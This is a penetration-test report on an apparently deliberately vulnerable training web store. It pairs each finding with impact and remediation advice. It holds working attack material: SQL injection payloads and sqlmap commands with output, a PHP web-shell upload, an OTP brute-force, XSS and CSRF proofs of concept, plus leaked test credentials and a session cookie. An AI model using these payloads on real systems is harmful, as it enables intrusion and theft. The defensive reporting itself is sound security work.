

Lifestyle Store

Detailed Developer Report

Security Status – Extremely Vulnerable

- Hacker can steal all records in Lifestyle Store databases (SQLi)
- Hacker can take control of complete server including View, Add, Edit, Delete files and folders (Shell Upload)
- Hacker can change the entire content of the website(Gaining Admin Control)
- Hacker can inject client side code into applications and trick users by changing how page looks to steal information or spoil the name of Internshala (XSS)
- Hacker can extract mobile number,address,username and more details of all customers (IDOR)
- Hacker can inject any set of codes and check the server and its content(Command Execution)

Vulnerability Statistics

Vulnerabilities:

No	Severity	Vulnerability	Count
1	Critical	SQL Injection	3
2	Critical	Arbitrary File Upload	1
3	Critical	Access to admin panel	1
4	Critical	Account takeover via OTP Bypass	1
5	Critical	Unauthorized Access To Customer Details(IDOR)	2
6	Critical	Command Execution	2
7	Severe	Cross site scripting	3
8	Severe	Cross site request forgery	2
9	Severe	Rate Limiting Flaws	6
10	Severe	Crypto Configuration Flaw	1
11	Severe	Common Password	2
12	Severe	Open Redirection	1
13	Moderate	Directory Listing of Configuration Files	1

14	Moderate	Unrequired Details of seller	1
15	Moderate	Outdated Elements	2
16	Low	Improper Server side filter	1
17	Low	Default error display	2
18	Low	Default Debug Pages	4

1. SQL Injection

SQL Injection
(Critical)

Below mentioned URL is vulnerable to SQL injection attack

Affected URL :

- <http://13.234.110.21/search/search.php?q=Reebok>

Affected Parameters :

- q (GET parameter)

Payload:

- q=Reebok'+or+'1'='1'--+

1. SQL Injection

SQL Injection
(Critical)

Here are other similar SQLi in the application

Affected URL :

- <http://13.233.108.21/products.php> (page ,POST parameter)
- [http://13.233.108.21/products.php?cat=1\(cat](http://13.233.108.21/products.php?cat=1(cat),GET parameter)

Observation

Clicking on shop now button,we get a search option on the top left corner,where we can search for anything on the website,as-

Observation

We apply single quote at the end of q parameter and we get complete MySQL error:

Also, we can try q=Reebok'+or+'1'='1'--+ in the url and the result confirms sql injection.

A screenshot of a web store interface. The URL in the address bar is 13.235.100.251/search/search.php?q=Reebok'+or+'1'='1'--+. The store header includes "Lifestyle Store", "Blog", "Forum", "Sign Up", and "Login". The search bar contains the query "Reebok' or '1'='1'--". The search results display three items:

- Adidas Socks - Pack** (450) - An image of a pack of four socks (blue, white, black, white) with orange stripes. Below the image is the text "Adidas Socks - Pack 450".
- Puma Socks** (600) - An image of three socks (grey, white, black) with a Puma logo. Below the image is the text "Puma Socks 600".
- Reebok Men Socks** (1111) - An image of a single sock. Below the image is the text "Reebok Men Socks 1111".

Below the search results, there are two more items partially visible:

- Basic T shirt** (350) - An image of a white t-shirt. Below the image is the text "Basic T shirt 350".
- VIEW PRODUCT** - A button labeled "VIEW PRODUCT" in red text.

Observation:

We used sqlmap for further advancing sql injections on the q parameter and got the result, both as shown:

```
PS F:\sqlmap-master> python sqlmap.py -u "http://13.235.100.251/search/search.php?q=Reebok" --cookie="key=D57B2521-C7B6-318A-8658-CEC  
EBA6C65BD"
```

```
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n  
sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests:  
---  
Parameter: q (GET)  
  Type: boolean-based blind  
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
  Payload: q=-7161' OR 9430=9430#  
  
  Type: error-based  
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  Payload: q=Reebok' OR (SELECT 4865 FROM(SELECT COUNT(*),CONCAT(0x716a786a71,(SELECT (ELT(4865=4865,1))),0x71626a7671,FLOOR(RAND(0  
*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hfsg  
  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 OR time-based blind  
  Payload: q=Reebok' OR SLEEP(5)-- 1dB  
  
  Type: UNION query  
  Title: MySQL UNION query (NULL) - 7 columns  
  Payload: q=Reebok' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a786a71,0x494f695246565352767959786f4962706142424a71455346614d79634  
a6774756c4c697052627841,0x71626a7671),NULL,NULL,NULL#  
---
```

Proof of Concept (PoC)

Here is the database names and few of its content extracted using sqlmap using --dbs switch at the end of the same command:

```
PS F:\sqlmap-master> python sqlmap.py -u "http://13.235.100.251/search/search.php?q=Reebok" --cookie="key=D57B2521-C7B6-318A-8658-CEC  
EBA6C65BD" --dbs
```

```
[11:22:40] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Nginx 1.14.0  
back-end DBMS: MySQL >= 5.0  
[11:22:40] [INFO] fetching database names  
[11:22:41] [WARNING] reflective value(s) found and filtering out  
available databases [2]:  
[*] hacking_training_project  
[*] information_schema
```

```
Database: information_schema  
[61 tables]  
+-----  
| CHARACTER_SETS  
| COLLATIONS  
| COLLATION_CHARACTER_SET_APPLICABILITY  
| COLUMNS  
| COLUMN_PRIVILEGES

```

Proof Of Concept(PoC):

Even the 'cat' parameter is vulnerable to SQLi.

```
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1' AND 5077=5077 AND 'DCZX'='DCZX

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: cat=1' AND (SELECT 6727 FROM(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(6727=6727,1))),0x716a7a6a71,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'awjg'='awjg

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: cat=1' AND SLEEP(5) AND 'ZZcU'='ZZcU

  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: cat=1' UNION ALL SELECT NULL,CONCAT(0x71626a7671,0x44514643444e786e646c6b725a78614c6661574f56696c544b756169674e4f4f716545
78424f716a,0x716a7a6a71),NULL,NULL,NULL,NULL,NULL-- sUmC
---
```

Proof Of Concept(PoC)

- No of databases: 2
 - information_schema
 - hacking_training_project
- No of tables in information_schema: 61

Few of them are:

- FILES
- EVENTS
- COLUMNS
- ENGINES
- GLOBAL_STATUS
- GLOBAL_VARIABLES
- COLUMN_PRIVILEGES

No. of tables in hacking_training_project:10

--brands
--cart_items are a few of them.

Business Impact – High

Using this vulnerability, attacker can execute arbitrary SQL commands on Lifestyle Store server and gain complete access to internal databases along with all customer data inside it.

Alongside is the screenshot of users table which shows user credentials being leaked ,although with hashing, dictionary-based and logic-based bruteforcing passwords still remains an option to verify with.

user_name	type	password	phone_number
admin	admin	\$2y\$10\$Phrdr2F1sC912mG6jY5af.QbdJ70byasyHc/CZiNEchBPsWJiWuK2	8521479630

Recommendation

Take the following precautions to avoid exploitation of SQL injections:

- Whitelist User Input: Whitelist all user input for expected data only. For example if you are expecting a flower name, limit it to alphabets only upto 20 characters in length. If you are expecting some ID, restrict it to numbers only
- Prepared Statements: Use SQL prepared statements available in all web development languages and frameworks to avoid attacker being able to modify SQL query
- Character encoding: If you are taking input that requires you to accept special characters, encode it. Example. Convert all ‘**to **’, “**to **”, **\ to **. It is also suggested to follow a standard encoding for all special characters such has HTML encoding, URL encoding etc
- Do not store passwords in plain text. Convert them to hashes using SHA1 SHA256 Blowfish etc
- Do not run Database Service as admin/root user
- Disable/remove default accounts, passwords and databases
- Assign each Database user only the required permissions and not all permissions

2. Arbitrary File Upload Vulnerability

Arbitrary File
Upload
(Critical)

Below mentioned URL is vulnerable to Arbitrary File Upload

Affected URL :

- <http://52.66.198.61/wondercms/>

File Uploaded:

1. Sample php file
2. B374kmini.php (php shell)

Observation:

When we click on blog option, and login to the admin panel we see file upload option in settings,where we can upload any kind of file.

Proof of Concept(PoC):

When we click on the mini shell which we uploaded,we get the acces to directories by typing commands in the shell option and much more .

The screenshot shows a web browser window with the following details:

- URL:** 52.66.198.61/wondercms/files/b374kmini.php?y=/home&x=shell
- Page Content (Header):**

```
nginx/1.14.0
Linux ip-172-26-9-137 4.15.0-1034-aws #36-Ubuntu SMP Tue Mar 5 23:17:16 UTC 2019 x86_64
server ip : 52.66.198.61 | your ip : 103.249.6.227
safemode OFF
> / home /
```
- Page Content (Footer):**

```
trainee $ cd trainee && ls
```
- Page Navigation:** Back, Forward, Stop, Home, Address Bar, More, Refresh, Stop, Star.
- Page Tools:** ... (More), Email, Star.
- Page Footer:** Go !

Business Impact(High):

Using this vulnerability, the attacker can get the complete control of the system, database and can also forward attacks in the back-end systems along with client-side attacks or simple defacement.

The impact of this vulnerability is high, supposed code can be executed in the server context or on the client side. A malicious file such as a Unix shell script, a windows virus, an Excel file with a dangerous formula, or a reverse shell can be uploaded on the server in order to execute code by an administrator or webmaster later -- on the victim's machine.

An attacker might be able to put a phishing page into the website or deface the website and much more.

Recommendations:

- Blacklisting File Extensions like .php,.php5,.shtml,etc
- Whitelist the file extensions like .jpg,.pdf,etc
- Content type header validation
- Using File type detector
- Perform proper server-side validations on what kind of a file user is uploading
- Use white lists filters instead of black list filters. Example: in case of a resume upload feature, instead of banning PHP and .exe files, only allow .pdf, .doc and .docx files
- Rename the files using a code, so that the attacker cannot play around with file names
- Use static file hosting servers like CDNs and File Clouds to store files instead of storing them on the application server itself

References:

- https://www.owasp.org/index.php/Unrestricted_File_Upload
- <https://www.opswat.com/blog/file-upload-protection-best-practices>

3. Access to admin panel :

Access to admin
panel
(Critical)

Below mentioned URL is vulnerable to Arbitrary File Upload

Affected URL :

- <http://52.66.198.61/wondercms/loginURL>

Observation:

When we open 'http://52.66.198.61/wondercms/' url ,we get the password on the page and login as admin in the url 'http://52.66.198.61/wondercms/loginURL' :

The screenshot shows the WonderCMS admin dashboard. At the top, there are two yellow buttons: 'Change the default admin login URL. (Settings -> Security)' and 'Change the default password. (Settings -> Security)'. Below these is a red box containing the text 'New WonderCMS update available.' and a note '- Backup your website and check what's new before updating.' It includes two blue buttons: 'Create backup' and 'Update WonderCMS'. At the bottom of the dashboard, there is a grey footer bar with the text 'Website title', 'SETTINGS', 'LOGOUT', 'HOME', and 'EXAMPLE'.

Proof Of Concept(PoC):

We can change password making the actual admin unable to login the next time .We can also add and delete pages:

PASSWORD

OLD PASSWORD

NEW PASSWORD

MENU

Home

Example

ADD PAGE

Business Impact(Extremely High):

- Using this vulnerability, the attacker can get complete access to the blog of the website.
- The attacker can change the password or even change the url of the admin panel and restrict the admin to access it.
- Even pages can be created and deleted along with editing.
- Files can be added (without verification) and hence can be dangerous to the entire website, as the control of the entire website can be taken.

Recommendation:

- The default password should be changed and a strong password must be setup.
- The admin url must also be such that its not accessible to normal users.
- Password changing option must be done with 2 to 3 step verification.
- Password must be atleast 8 characters long containing numbers,alphanumerics,etc.
- All the dafault accounts should be removed.
- Password should not be reused.

References:

- 1)[*https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_\(OTG-AUTHN-009\)*](https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009))
- 2)[*https://www.owasp.org/index.php/Default_Passwords*](https://www.owasp.org/index.php/Default_Passwords)
- 3)[*https://www.us-cert.gov/ncas/alerts/TA13-175A*](https://www.us-cert.gov/ncas/alerts/TA13-175A)

4.Account takeover via OTP Bypass

Account Takeover
Using OTP Bypass
(Critical)

The below mentioned login page allows login via OTP which can be brute forced.

Affected URL :

- http://52.66.198.61/reset_password/admin.php

Affected Parameters :

- OTP (POST parameters)

Observation:

- When we navigate to admin login '<http://52.66.198.61/login/admin.php>', and try to reset the password, we are asked for the three digit OTP as:

Observation:

Following request will be generated containing OTP parameter.

```
GET /reset_password/admin.php?otp=123 HTTP/1.1
Host: 52.66.198.61
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.66.198.61/reset_password/admin.php
Connection: close
Cookie: key=D57B2521-C7B6-318A-8658-CECEBA6C65BD; PHPSESSID=sspmk523q72nr7k0rfk052v013; X-
Upgrade-Insecure-Requests: 1
```

Observation

We shoot the request with all possible combinations of 3 Digit OTPs and upon a successful hit, we get a response containing “Enter New Admin Password”. We can use the same OTP then to login.

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
358	758	200			4380	
359	759	200			4380	
360	760	200			4380	
361	761	200			4380	
362	762	200			4380	
363	763	200			4380	
364	764	200			4476	
365	765	200			4380	
366	766	200			4380	
367	767	200			4380	
368	768	200			4380

 - [Admin](#)

Enter New Admin Password

Reset Password

Business Impact:Extremely High

After logging in as admin, the attacker gets almost all the control of the website business.

Right from changing the seller details with their corresponding product to adding false product. They can make customers pay for false products and this may have a great business impact and hamper the privacy too.

Also, changing cost of products can cause severe financial loss to the owner.

Recommendation:

- 1)The length of the OTP should be done atleast 6.This makes bruteforcing impractical.
- 2)There should be at least two-step verification before reseting password.
- 3)Captcha can be used to protect from bruteforcing.
- 4)Number of attempts can be limited.

References:

- 1)<https://www.cloudways.com/blog/what-is-brute-force-attack/>
- 2)https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

5)Unauthorized access to customer details

Unauthorised access to customer details (Critical)
--

Below mentioned URL is vulnerable to IDOR(Displaying customer details)

Affected URL :

- <http://52.66.198.61/profile/16/edit/>
- <http://52.66.198.61/orders/orders.php?customer=16>

Affected Parameters :

- user_id(POST parameter)
- customer(GET parameter)

Payload:

- Changing user_id from 16 to 15 in the url itself

Observation:

When the user_id was changed from 16 to 15, we got the entire details of user_id 15:

Business Impact(High):

Taking the advantage of this vulnerability,if the attacker can get these sensitive data of multiple users,it would be become one step easier for them to login to their account after getting their username.

The revealed data includes(name,username,email,address,phone number,etc.) are sufficient for performing a full fledge social engineering attack on the user.

Recommendation:

Take the following precautions:

- Implement proper authentication and authorisation checks to make sure that the user has permission to the data he/she is requesting
- Use proper ratelimiting checks on the number of request comes from a single user in a small amount of time
- Make sure each user can only see his/her data only.

https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

6)Command Execution Vulnerability:

Command Execution Vulnerability (Critical)

Below mentioned URLs is vulnerable to Command Execution

Affected URL :

- <http://52.66.198.61/admin31/console.php>
- <http://52.66.198.61/wondercms/files/b374kmini.php?y=/home/trainee/wondercms/files/&x=shell> (to directly to console of the php shell)

Observation:

After logging in as admin, when we navigated to the url-'<http://52.66.198.61/admin31/console.php>', we got the command line page where we can execute any command.

The screenshot shows a web browser window with the following details:

- Header:** The address bar shows the URL <http://13.232.3.95/admin31/console.php>. The page title is "Lifestyle Store". The top right corner features a navigation bar with icons for file operations (down, back, forward, etc.) and user settings.
- Content:** The main content area is titled "Admin Console". Below it, there is a form with the label "Command:" followed by a text input field and a "SUBMIT!" button.

Proof Of Concept(PoC):

When we typed ls ,the result was as follows:

Command:

SUBMIT!

Result:

ovidentiaCMS
static
uploads
user
wondercms

◀ BACK

Proof Of Concept(PoC):

When we opened the b274k mini shell(after uploading it) in admin settings of the blog at url 'http://52.66.198.61/wondercms/', and after clicking on shell option:

Business Impact(High):

If the attacker enters into the admin account and finally to the console url, he can put in any malicious code to extract or even edit data, as he has the admin privileges.

Other than entering malicious code and stuffs, the attacker can even get the details of the websites and its components like its version and hence find vulnerabilities to exploit them.

If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability.

Recommendations:

- 1)There should be filters so that malicious code cannot be injected in .
- 2)Input validation can be done.
- 3)Output Validation can be done.
- 4)Canonicalization can also be done.

References:

- 1)https://www.owasp.org/index.php/Command_Injection
- 2)https://www.owasp.org/index.php/Code_Injection

7) Cross Site Scripting(XSS):

Cross Site Scripting (Severe)	<p>Below mentioned parameters are vulnerable to XSS</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/products/details.php?p_id=5 (all product ids have this vulnerability) <p>Affected Parameters :</p> <ul style="list-style-type: none">• comment(POST parameters) <p>Payload:</p> <ul style="list-style-type: none">• <script>alert(1);</script>
----------------------------------	---

Cross Site Scripting (Severe)	<p>Similar issue is found on below modules too</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/profile/16/edit/ <p>Affected Parameters :</p> <ul style="list-style-type: none">• address(POST) <p>Payload:</p> <ul style="list-style-type: none">• <script>alert(1);</script>
	<p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/wondercms/ <p>Affected Parameters :</p> <ul style="list-style-type: none">• title(POST),and all the below it. <p>Payload:</p> <ul style="list-style-type: none">• <script>alert(1);</script>

Observation:

When we navigate to 'http://52.66.198.61/products/details.php?p_id=5', we will see a review section below.

Proof Of Concept(PoC):

When we enter <script>alert(1);</script> and post it,we get the new page as:

Proof Of Concept(Poc):

When we enter the same payload in the address portion and update it in the url - 'http://52.66.198.61/profile/16/edit/' ,we get:

Proof Of Concept(PoC):

When we add the same payload in the page title option in the settings of admin ,then we get the alert as:

Business Impact – High

As attacker can inject arbitrary HTML CSS and JS via the URL, attacker can put any content on the page like phishing pages, install malware on victim's device and even host explicit content that could compromise the reputation of the organization

All attacker needs to do is send the link with the payload to the victim and victim would see hacker controlled content on the website. As the user trusts the website, he/she will trust the content.

Recommendation

Take the following precautions:

- Sanitise all user input and block characters you do not want
- Convert special HTML characters like ' " < > into HTML entities " %22 < > before printing them on the website

References:

[*https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\)*](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))

[*https://en.wikipedia.org/wiki/Cross-site_scripting*](https://en.wikipedia.org/wiki/Cross-site_scripting)

8)Cross Site Request Forgery(CSRF):

Cross Site Request Forgery(Severe)	<p>CSRF is found in the modules below:-</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/profile/change_password.php <p>Affected Parameters :</p> <ul style="list-style-type: none">• Update(POST)
	<p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/cart/cart.php <p>Affected Parameters :</p> <ul style="list-style-type: none">• Confirm order option(POST)

Observation:

We navigate to 'http://52.66.198.61/profile/change_password.php' after logging in to our account.

The screenshot shows a web browser window with the following details:

- Address Bar:** Displays the URL `13.127.225.77/profile/change_password.php`.
- Header:** The page title is partially visible as "festyle Store". The header also includes links for "My Cart", "My Profile", "My Orders", "Blog", and "Forum".
- Content:** The main content area is titled "Change Password". It contains two input fields: "New Password" and "Confirm Password", both with green outlines. Below these fields is a large orange "UPDATE" button.

Observation:

To check that the update parameter checks the referrer or not ,we intercept it on burpsuite, and send it to repeater for verification.

Intercept HTTP history WebSockets history Options

Request to http://13.127.225.77:80

Forward Drop Intercept is on Action Comment this item

Raw Params Headers Hex

```
POST /profile/change_password_submit.php HTTP/1.1
Host: 13.127.225.77
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: /*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://13.127.225.77/profile/change_password.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 35
Connection: close
Cookie: key=D57B2521-C7B6-318A-8658-CECEBA6C65BD; PHPSESSID=rilotqvphuvbf6deuoma2aup5; X-XSRF-TOKEN=b79elbbadc0f2fbe8c5ba1834049bc4fc22d4fc0587b5808566215815668d6b0
password=abcd&password_confirm=abcd
```

Proof Of Concept(PoC):

We change the referrer header in repeater and the password and forward the request, we see that it was successful in doing so, thus verifying CSRF.

Target: <http://13.127.225.77> edit ?

Request

password=123456&password_confirm=123456
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 20 Jun 2019 07:02:27 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Content-Length: 65

{"success":true,"successMessage":"Password updated successfully."}
```

Proof Of Concept(PoC):

After creating an html page with img source from confirm button on page 'http://52.66.198.61/cart/cart.php', when we run it and reload our order page, we see our cart as empty and order placed.

The image displays two windows. On the left is a Notepad window titled 'HTMLhaiye.html - Notepad' containing the following HTML code:

```
<html>
<head></head>
<body>
<form action="http://13.232.3.95/orders/confirm.php" method="POST">
<input type="submit" value="Submit request"></input>
</form>
</body>
</html>
```

On the right is a browser window titled 'My Orders' showing a completed order. The order details are as follows:

Order Id: C728AB1D0FE0	
PRODUCTS:	
Adidas Socks - Pack	INR 450
Total	INR 450
SHIPPING DETAILS:	
Name - FindMe	PAYMENT MODE
Email - abc@gamil.com	Cash on delivery
Phone - 9999999999	
Address - Blank	
Order placed on : 2019-06-21 10:38:32	
Status: DELIVERED	

Business Impact (High):

If the attacker is able to exploit this vulnerability, he may be able to order many items which the user would cancel later when the sender will send it to him (as its cash on delivery), so unnecessary load of workers can increase incredibly.

Moreover, the attacker may be able to change the user's password without his consent, which in itself is highly insecure.

Recommendation:

- Ask the user his password (temporary like OTP or permanent like login password) at every critical action like while deleting account, making a transaction, changing the password etc.
- Implement the concept of CSRF tokens which attach a unique hidden password to every user in every
- Read the documentation related to the programming language and framework being used by your website
- Check the referer before carrying out actions. This means that any action on x.com should check that the HTTP referer is https://x.com/* and nothing else like https://x.com.hacker.com/*

References:

- 1)https://en.wikipedia.org/wiki/Cross-site_request_forgery#Example_and_characteristics
- 2)[https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))

9) Rate Limiting Flaws:

Rate Limiting Flaws(Severe)	<p>Rate Limiting Flaws is found in the modules below:-</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/login/customer.php <p>Affected Parameters :</p> <ul style="list-style-type: none">• Username and password
	<p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/login/seller.php <p>Affected Parameters :</p> <ul style="list-style-type: none">• Username and password
	<p>Affected URL:</p> <ul style="list-style-type: none">• http://52.66.198.61/login/admin.php <p>Affected Parameters:</p> <ul style="list-style-type: none">• Username and Password

Rate Limiting Flaws(Severe)

Rate Limiting Flaws is found in the following modules too:-

Affected URL :

- <http://52.66.198.61/signup/customer.php>

Affected URL :

- <http://52.66.198.61/wondercms/loginURL>

Affected Parameters :

- Password

Affected URL:

- <http://52.66.198.61/forum/index.php?u=/user/login>

Affected Parameters:

- Username and Password

Observation:

When we came to signup page of the lifestyle store, then after filling the details we intercepted it on burpsuite, and sent to intruder to change the values of username and email, and hence we were able to successfully create many accounts simultaneously.

Set-Cookie: X-XSRF-TOKEN=cc0d076fc9293b46516ba5aec3af295f22397fcead5d8ebd6de8a6bc724e06d2f; expires=Fri, 21-Jun-2019 05:16:23 GMT; Max-Age=3600; path=/
Content-Length: 82

{"success":true, "successMessage": "You have successfully signed up. Please login."}
```

Observation:

Similarly ,we were able to intercept and try multipe attacks on all the listed login and signup sites of the website and its blog too after intercepting them on burpsuite.

Business Impact(High):

If the attacker exploits this vulnerability, he may create a havoc on the webserver due to creation of a million accounts or a million attempts of login, which can further also lead to denial of service.

Furthermore, this lack of rate limitation configuration may also help the attacker by fetching him more time to bruteforce and fetch passwords of users or even the admin.

Recommendation:

- 1)The length of the password should be large and strong(unrelated).This makes bruteforcing impractical.
- 2)There should be at least two-step verification before creating an account.
- 3)Captcha can be used to protect from bruteforcing.
- 4)Number of attempts can be limited.

References:

- 1)<https://www.cloudways.com/blog/what-is-brute-force-attack/>
- 2)https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

10)Crypto Configuration Flaw

Crypto Configuration
Flaw(Severe)

Crypto Configuration Flaws are found in the modules below:-

Affected URL :

- <http://52.66.198.61/> (All the webpages ,blogs,forum)

Observation:

Clearly ,all the webpages use 'http' and not 'https' which is far less secure and not encrypted.

Business Impact(High):

Security is almost halved in http providing easy man-in-the-middle attack and others which makes it easy for attacker to go through the data transmitted over the internet/

Recommendation:

Use https and not http as the protocol.

References:

- 1)https://www.owasp.org/index.php/Category:Cryptographic_Vulnerability
- 2)<https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html>

11) Common Passwords:

Crypto Configuration
Flaw(Severe)

Crypto Configuration Flaws are found in the modules below:-

Affected URL :

- <http://52.66.198.61/login/seller.php>
- <http://52.66.198.61/wondercms/>

Observation:

The passwords of sellers and ,admin of blog,is very common and easily predictable.

Radhika:Radhika123:6
Nandan:Nandan123:7
chandan:chandan123:4

Business Impact(High):

Easy,default and common passwords make it easy for attackers to gain access to their accounts illegal use of them and can harm the website to any extent after getting logged into privileged accounts.

Recommendation:

- 1)There should be password strength check at every creation of an account.
- 2)There must be a minimum of 8 characters long password with a mixture of numbers,alphanumerics,special characters,etc.
- 3)There should be no repetition of password,neither on change nor reset.
- 4)The password should not be stored on the web,rather should be hashed and stored.

References:

- 1)<https://www.acunetix.com/blog/articles/weak-password-vulnerability-common-think/>
- 2)[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_\(OTG-AUTHN-007\)](https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007))

12) Open Redirection:

Open Redirection(Severe)	<p>Open Redirection vulnerability are found in the module below:-</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://52.66.198.61/products/details.php?p_id=5 <p>Affected parameter :</p> <ul style="list-style-type: none">• url (Brand Website)
--------------------------	---

Observation:

When we view any product ,and click on “Brand Website” tab as shown,then we get redirected to it openly as GET parameter.

You will be redirected in 7 seconds

Proof Of Concept(PoC):

We can change the url after
redirect to be redirected
anywhere(such as ,google.com)
as shown in the video.

Business Impact(High):

If the attacker changes the url to some malicious website looking similar to the given website, he can take the credentials and even credit card details on checkout from the user trust.

Recommendation:

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

- 1) Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
- 2) Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

- 1) The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
- 2) The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend `http://yourdomainname.com` to the URL before issuing the redirect.
- 3) The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with `http://yourdomainname.com/` before issuing the redirect.

References:

- https://portswigger.net/kb/issues/00500100_open-redirection-reflected
- [https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_\(OTG-CLIENT-004\)](https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004))

13) Directory Listing

Directory Listing
(Moderate)

Below mentioned parameters are vulnerable to Directory Listing

Affected URL :

- <http://35.154.118.58/static/images/>

Observation:

- 1) Navigate to <http://35.154.118.58/static/images/>
 - 2) Complete listing of directory is shown containing names of files and folders of the website
-

Index of /static/images/

socks icon.png	05-Jan-2019 06:00	129011
tshirt icon.png	05-Jan-2019 06:00	91456

Business Impact – Moderate

Although this vulnerability does not have a direct impact to users or the server, though it can aid the attacker with information about the server and the users

Also, attacker can simply download the backups and images and view them.

Recommendation:

Take the following precautions:

- Disable Directory Listing
- Put an index.html in all folders with default message

References:

<https://cwe.mitre.org/data/definitions/548.html>

<https://www.netsparker.com/blog/web-security/disable-directory-listing-web-servers/>

14) Unrequired details for seller:

Unrequired Details for seller (Moderate)	<p>Below mentioned URL gives the unrequired details about the seller:</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://35.154.118.58/products/details.php?p_id=2(or any other p_id)
---	---

Observation:

When we click on the “Seller Info” option, we get the details of the seller, even those which are not required like the pan card number, etc.

Business Impact(Moderate):

There is no direct business impact in this case ,but this amount of information can definitely lead to social engineering attacks on the seller and can indirectly harm the business.

Recommendation:

Only name and email is sufficient as far as the query or help is concerned.

15) Outdated Elements:

Outdated Elements (Moderate)	Affected Elements : <ul style="list-style-type: none">• PHP• WonderCMS
---------------------------------	--

Observations:

The PHP version installed is not the latest one and has multiple vulnerabilities that can be exploited. Also, wondercms is also outdated and highly vulnerable.

Core	
PHP Version	5.6.39-1+ubuntu18.04.1+deb.sury.org+1

Change the default admin login URL. (Settings -> Security)

Change the default password. (Settings -> Security)

New WonderCMS update available.
- Backup your website and check what's new before updating.

Create backup

Update WonderCMS

Business Impact(High):

Exploits of every vulnerability detected is regularly made public and hence outdated software can very easily be taken advantage of. If the attacker comes to know about this vulnerability, he may directly use the exploit to take down the entire system, which is a big risk.

Recommendation:

- 1) Upgrade to the latest version of Affected Software/theme/plugin/OS which means latest version number
- 2) If upgrade is not possible for the time being, isolate the server from any other critical data and servers

References:

- 1)https://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/version_id-298515/PHP-PHP-5.6.39.html
- 2)https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities

16) Improper Server Side Filter

Improper
Server Side
Filter (Low)

Below mentioned urls have improper server side filter

Affected URL :

- <http://13.233.108.21/profile/16/edit/>

Affected parameter:

- Contact Number

Observation:

After logging in as customer,when we try to edit our phone number to some invalid one ,the error is as shown.

Proof Of Concept(PoC):

But when we give a valid phone number on the client side, but intercept it through burpsuite and again give invalid number, it gets accepted.

Aamir
abc@gmail.com

Username: Aamir

Contact No.: 111111111111111111
